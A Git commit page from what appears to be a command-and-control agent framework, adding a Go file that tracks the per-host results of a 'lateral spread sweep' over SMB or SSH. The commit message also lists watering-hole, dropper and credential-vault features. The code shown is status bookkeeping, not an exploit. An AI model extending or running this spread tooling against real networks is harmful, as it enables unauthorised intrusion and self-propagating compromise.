feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e
Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests. Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs. Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
This commit is contained in:
108
agent/deploy/spread_status.go
Normal file
108
agent/deploy/spread_status.go
Normal file
@@ -0,0 +1,108 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"runtime"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
type spreadHostResult struct {
|
||||
Host string `json:"host"`
|
||||
Success bool `json:"success"`
|
||||
Error string `json:"error,omitempty"`
|
||||
}
|
||||
|
||||
type spreadStatusSnapshot struct {
|
||||
StartedAt string `json:"started_at,omitempty"`
|
||||
FinishedAt string `json:"finished_at,omitempty"`
|
||||
InProgress bool `json:"in_progress"`
|
||||
HostsTried int `json:"hosts_tried"`
|
||||
Successes int `json:"successes"`
|
||||
Errors int `json:"errors"`
|
||||
Platform string `json:"platform"`
|
||||
Method string `json:"method"`
|
||||
Hosts []spreadHostResult `json:"hosts"`
|
||||
}
|
||||
|
||||
var (
|
||||
spreadMu sync.RWMutex
|
||||
spreadSnap spreadStatusSnapshot
|
||||
spreadPending int
|
||||
)
|
||||
|
||||
const maxSpreadHostResults = 64
|
||||
|
||||
func spreadMethodForPlatform() string {
|
||||
if runtime.GOOS == "windows" {
|
||||
return "smb_scm"
|
||||
}
|
||||
return "ssh"
|
||||
}
|
||||
|
||||
func beginSpreadSweep(method string, targetCount int) {
|
||||
spreadMu.Lock()
|
||||
spreadSnap = spreadStatusSnapshot{
|
||||
StartedAt: time.Now().UTC().Format(time.RFC3339),
|
||||
InProgress: targetCount > 0,
|
||||
HostsTried: targetCount,
|
||||
Platform: runtime.GOOS,
|
||||
Method: method,
|
||||
Hosts: nil,
|
||||
}
|
||||
spreadPending = targetCount
|
||||
if targetCount == 0 {
|
||||
spreadSnap.FinishedAt = time.Now().UTC().Format(time.RFC3339)
|
||||
}
|
||||
spreadMu.Unlock()
|
||||
}
|
||||
|
||||
func recordSpreadAttempt(host string, success bool, errMsg string) {
|
||||
spreadMu.Lock()
|
||||
defer spreadMu.Unlock()
|
||||
if success {
|
||||
spreadSnap.Successes++
|
||||
} else if errMsg != "" {
|
||||
spreadSnap.Errors++
|
||||
}
|
||||
if len(spreadSnap.Hosts) < maxSpreadHostResults {
|
||||
spreadSnap.Hosts = append(spreadSnap.Hosts, spreadHostResult{
|
||||
Host: host,
|
||||
Success: success,
|
||||
Error: errMsg,
|
||||
})
|
||||
}
|
||||
if spreadPending > 0 {
|
||||
spreadPending--
|
||||
if spreadPending == 0 {
|
||||
spreadSnap.InProgress = false
|
||||
spreadSnap.FinishedAt = time.Now().UTC().Format(time.RFC3339)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func finishSpreadSweepImmediate() {
|
||||
spreadMu.Lock()
|
||||
spreadSnap.InProgress = false
|
||||
if spreadSnap.FinishedAt == "" {
|
||||
spreadSnap.FinishedAt = time.Now().UTC().Format(time.RFC3339)
|
||||
}
|
||||
spreadPending = 0
|
||||
spreadMu.Unlock()
|
||||
}
|
||||
|
||||
// GetSpreadStatusJSON returns the last lateral spread sweep summary (in-memory).
|
||||
func GetSpreadStatusJSON() string {
|
||||
spreadMu.RLock()
|
||||
snap := spreadSnap
|
||||
spreadMu.RUnlock()
|
||||
if snap.StartedAt == "" {
|
||||
snap.Platform = runtime.GOOS
|
||||
snap.Method = spreadMethodForPlatform()
|
||||
if snap.Hosts == nil {
|
||||
snap.Hosts = []spreadHostResult{}
|
||||
}
|
||||
}
|
||||
b, _ := json.Marshal(snap)
|
||||
return string(b)
|
||||
}
|
||||
Reference in New Issue
Block a user